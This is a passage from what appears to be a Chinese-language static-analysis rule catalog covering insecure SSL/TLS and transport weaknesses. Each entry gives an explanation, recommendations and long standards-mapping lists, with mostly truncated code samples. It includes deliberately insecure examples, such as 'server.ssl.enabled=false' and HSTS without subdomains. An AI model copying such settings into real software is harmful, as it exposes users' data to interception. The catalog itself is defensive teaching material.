当进行 SSL 连接时,不要放弃服务器验证检查。可考虑用 StrictHostnameVerifer 建立服务器身份和安全 SSL 连接。
REFERENCES
[1] Designing for Security Android
[2] S. Fahl, M. Harbach, T. Muders, M. Smith, L. Baumgartner, B. Friesleben Why Eve and Mallory Love Android: An Analysis of Android SSL (In)Security
[3] OWASP Top 10 Mobile Risks OWASP
[4] Standards Mapping - Common Weakness Enumeration CWE ID 297
[5] Standards Mapping - FIPS200 CM, SC
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[7] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[8] Standards Mapping - OWASP Top 10 2004 A3 Broken Authentication and Session Management
[9] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[10] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.10
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.9
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-001810 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-001810 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-001810 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[27] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
Insecure SSL: Android Socket
ABSTRACT
该方法无法进行 SSL 验证检查。
EXPLANATION
调用以 InetAddress 作为功能参数的 createSocket() 时不会执行主机名验证。
同样,调用 getInsecure() 时会返回一个 SSL 套接字代理,其所有 SSL 检查会被禁用。
这两种调用方式都使得应用程序容易受到中间人攻击。
例如,当试着连接 https://safesecureserver.banking.com 时,该应用程序会随时接受给 https://hackedserver.banking.com 签发的证书。此时,当服务器被黑客攻击发生 SSL 连接中断时,应用程序可能会泄漏用户敏感信息。
RECOMMENDATIONS
由于在断开 SSL 连接上进行的通信可能泄漏重要用户信息和违反用户隐私和安全,因而不应放弃 SSL 验证检查。
利用以主机和端口参数作为输入量的 createSocket() 函数建立安全 SSL 连接。如果一定要使用以 InetAddress 作为参数的 createSocket() API,应确保用 HostnameVerifier 建立服务器身份。
REFERENCES
[1] Designing for Security Android
[2] S. Fahl, M. Harbach, T. Muders, M. Smith, L. Baumgartner, B. Friesleben Why Eve and Mallory Love Android:An Analysis of Android SSL (In)Security
[3] JavaDoc for Android Android
[4] OWASP Top 10 Mobile Risks OWASP
[5] Standards Mapping - Common Weakness Enumeration CWE ID 297
[6] Standards Mapping - FIPS200 CM, SC
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[8] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[9] Standards Mapping - OWASP Top 10 2004 A3 Broken Authentication and Session Management
[10] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[11] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.10
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.9
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[18] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-001810 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-001810 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-001810 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[28] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[29] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
Insecure SSL: Inadequate Certificate Verification
ABSTRACT
应用程序调用了不适用于证书链验证的方法。
EXPLANATION
应用程序调用的方法返回由服务器返回的完整证书列表,而未删除不属于有效信任路径(位于服务器的最终实体证书和受系统信任的证书颁发机构 (CA) 证书之间)的证书。
如果攻击者有权访问盗用 CA 的私钥,便可以拦截 SSL/TLS 连接并修改服务器提供的证书。在这种情况下,攻击者可以创建从服务器的最终实体证书到盗用根 CA 的有效信任路径,从而使客户端信任该证书并附加服务器提供的剩余原始证书。
如果客户端使用的是证书固定,它将验证“固定的”证书是否位于服务器提供的证书中。如果客户端使用的方法可以返回服务器提供的所有证书,而不删除有效信任路径以外的证书,则拥有有效盗用私钥的攻击者可以向其盗用 CA 以及 Web 服务器提供的原始证书提供有效的信任路径。在这种情况下,攻击者将能够绕过证书固定验证。
RECOMMENDATIONS
请勿使用报告的方法执行证书固定验证。可以采用不同的方式缓解此问题:
使用包含服务器预期 CA 的自定义密钥库,而不是使用系统 CA,并固定一个特定证书。
验证是否存在(是否固定了)最终实体证书,而非 CA 或中间证书。
在 Android 中,net.http.X509TrustManagerExtensions.checkServerTrusted() 方法将返回干净的链,其中仅包含最终实体和 CA 证书之间的有效信任路径。此 API 仅可用于运行 Android 4.2 或更新版本的设备。
REFERENCES
[1] An Examination of Ineffective Certificate Pinning Implementations Cigital
[2] Standards Mapping - Common Weakness Enumeration CWE ID 297
[3] Standards Mapping - FIPS200 CM, SC
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[6] Standards Mapping - OWASP Top 10 2004 A3 Broken Authentication and Session Management
[7] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[8] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.10
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.9
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[15] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-001810 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-001810 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-001810 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[25] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
Insecure SSL: Overly Broad Certificate Trust
ABSTRACT
SSL/TLS 连接使用默认的预加载系统证书颁发机构 (CA) 创建,这可能会使攻击者利用由盗用的根 CA 签名的证书执行中间人 (MiTM) 攻击,从而拦截加密通信。
EXPLANATION
公钥基础架构 (PKI) 基于受信任的证书颁发机构 (CA),但盗用的证书颁发机构的数量不断增加,这意味着其根证书无法再受到信任,因此由该 CA 签名的证书也不再受到信任。拥有这些盗用证书的攻击者将能够拦截所有信任这些 CA 的 SSL/TLS 信息流。
证书颁发机构的签名对于浏览器等通用网络通信工具而言是必不可少的,这些工具连接到任意网络端点,并且事先并不知道哪些 CA 对这些端点的 SSL/TLS 证书进行了签名。对于连接到有限的后端服务器的移动应用程序,如果它们知道这些服务器在对其证书进行签名时可能会使用的若干受信任 CA,则这些应用程序可从中获益,并在应用程序中“固定”这些证书/公钥,以便仅信任应用程序需要的证书。
示例 1:下面的示例使用默认的预加载系统 CA 建立了 SSL/TLS 连接。
1 | URL url = new URL("https://myserver.org"); |
由于 URLConnection 所使用的基础 SSLSocketFactory 未更改,它将使用信任 Android 默认密钥库中存在的所有 CA 的默认项。
RECOMMENDATIONS
有一些可能的解决方案来降低对预加载系统证书的信任级别,包括:
自定义信任锚点:使用仅包含您希望信任的证书的自定义密钥库。
证书固定:信任默认证书,但验证并确保后端服务器所使用的证书存在于证书链中。或者,可以验证(固定)公钥。
示例 2:下面的示例使用仅包含预期证书的自定义密钥库建立 SSL/TLS 连接。
1 | ... |
REFERENCES
[1] Your app shouldn’t suffer SSL’s problems Moxie Marlinspike
[2] Certificate and Public Key Pinning OWASP
[3] INPUT-1: Validate inputs Oracle
[4] Standards Mapping - Common Weakness Enumeration CWE ID 297
[5] Standards Mapping - FIPS200 CM, SC
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[7] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[8] Standards Mapping - OWASP Top 10 2004 A3 Broken Authentication and Session Management
[9] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[10] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.10
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.9
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-001810 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-001810 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-001810 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[27] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
Insecure SSL: Server Identity Verification Disabled
ABSTRACT
当进行 SSL 连接时,服务器身份验证处于禁用状态。
EXPLANATION
在某些使用 SSL 连接的库中,默认情况下不验证服务器证书。这相当于信任所有证书。
例 1:此应用程序没有明确地验证服务器证书。
1 | ... |
当尝试连接到 smtp.mailserver.com:465 时,此应用程序将随时接受颁发给“hackedserver.com”的证书。此时,当服务器被黑客攻击发生 SSL 连接中断时,应用程序可能会泄漏用户敏感信息。
RECOMMENDATIONS
当进行 SSL 连接时,不要忘记服务器验证检查。根据所使用的库,一定要验证服务器身份并建立安全的 SSL 连接。
例 2:此应用程序明确地验证服务器证书。
1 | ... |
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 297
[2] Standards Mapping - FIPS200 CM, SC
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[4] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[5] Standards Mapping - OWASP Top 10 2004 A3 Broken Authentication and Session Management
[6] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[7] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.10
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.9
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.4
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[14] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-001810 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-001810 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-001810 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[24] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[25] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
Insecure Transport
ABSTRACT
该应用程序会使用未加密的协议(而非加密的协议)与服务器通信。
EXPLANATION
所用利用 HTTP、FTP 或 gopher 的通信均未经过验证和加密。因此可能会受到危害,特别是在移动环境中设备要利用 WiFi 连接频繁连接不安全的、公共的无线网络。
示例 1:以下 Spring Boot 配置文件禁用 TLS 协议,因此使用 HTTP 协议。
server.ssl.enabled=false
RECOMMENDATIONS
应尽可能使用 HTTPS 等安全协议与服务器交换数据。
REFERENCES
[1] Designing for Security Android
[2] S. Fahl, M. Harbach, T. Muders, M. Smith, L. Baumgartner, B. Friesleben Why Eve and Mallory Love Android:An Analysis of Android SSL (In)Security
[3] OWASP Top 10 Mobile Risks OWASP
[4] MSC00-J. Use SSLSocket rather than Socket for secure data exchange CERT
[5] Standards Mapping - Common Weakness Enumeration CWE ID 311
[6] Standards Mapping - FIPS200 SC
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[8] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[9] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[10] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[11] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[12] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.10
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.9
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.4
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[19] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 319
[20] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[21] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[22] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260.1 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[32] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[33] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
Insecure Transport: HSTS Does Not Include Subdomains
ABSTRACT
应用程序设置了 HTTP 严格传输安全 (HSTS) 标头,但未能将此保护应用于子域,从而使攻击者能够通过执行 HTTPS Stripping 攻击从子域连接窃取敏感信息。
EXPLANATION
HTTPS Stripping 攻击是一种中间人攻击,攻击者可在所有 HTTP 流量中监视引用 HTTPS 的位置标头和链接,并使用 HTTP 标头和链接予以替换。攻击者保留所有 HTTP 替换版本的列表,以使 HTTPS 请求返回到服务器。所有断开的 HTTP 连接通过 HTTPS 代理连接到了服务器。受害者和攻击者之间的所有流量均通过 HTTP 发送,从而暴露了用户名、密码和其他私人信息,但服务器仍然从攻击者接收预期的 HTTPS 流量,因此一切看似正常。
HTTP 严格传输安全 (HSTS) 是一种安全标头,它指示浏览器在标头所指定的期间始终连接到通过 SSL/TLS 返回 HSTS 标头的站点。即使用户在浏览器 URL 栏中输入了 http://,通过 HTTP 到服务器的连接还是将自动替换为 HTTPS 连接。
示例:以下代码配置了受 Spring Security 保护的应用程序,以禁用子域的 HSTS:
1 | <http auto-config="true"> |
RECOMMENDATIONS
将 HSTS 标头设置为将 includeSubDomains 选项包含其中,以将 HSTS 应用到子域。若您正使用 Spring Security 保护应用程序,默认情况下,会启用 includeSubDomains。
REFERENCES
[1] OWASP HTTP Strict Transport Security
[2] Moxie Marlinspike sslstrip
[3] Standards Mapping - Common Weakness Enumeration CWE ID 319
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000068, CCI-001453, CCI-002418, CCI-002420, CCI-002421, CCI-002422, CCI-002890, CCI-003123
[5] Standards Mapping - FIPS200 CM, SC
[6] Standards Mapping - General Data Protection Regulation Insufficient Data Protection
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[8] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.9.1 Communications Architectural Requirements, 2.2.5 General Authenticator Requirements, 2.6.3 Look-up Secret Verifier Requirements, 6.2.1 Algorithms, 8.3.1 Sensitive Private Data, 8.1.6 General Data Protection, 9.1.1 Communications Security Requirements, 9.2.2 Server Communications Security Requirements, 14.4.5 HTTP Security Headers Requirements
[9] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[10] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[11] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[12] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[13] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[14] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.10
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.9
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.4
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 4.1, Requirement 6.5.4
[22] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 6.2 - Sensitive Data Protection, Control Objective 7.1 - Use of Cryptography
[23] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 319
[24] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[25] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
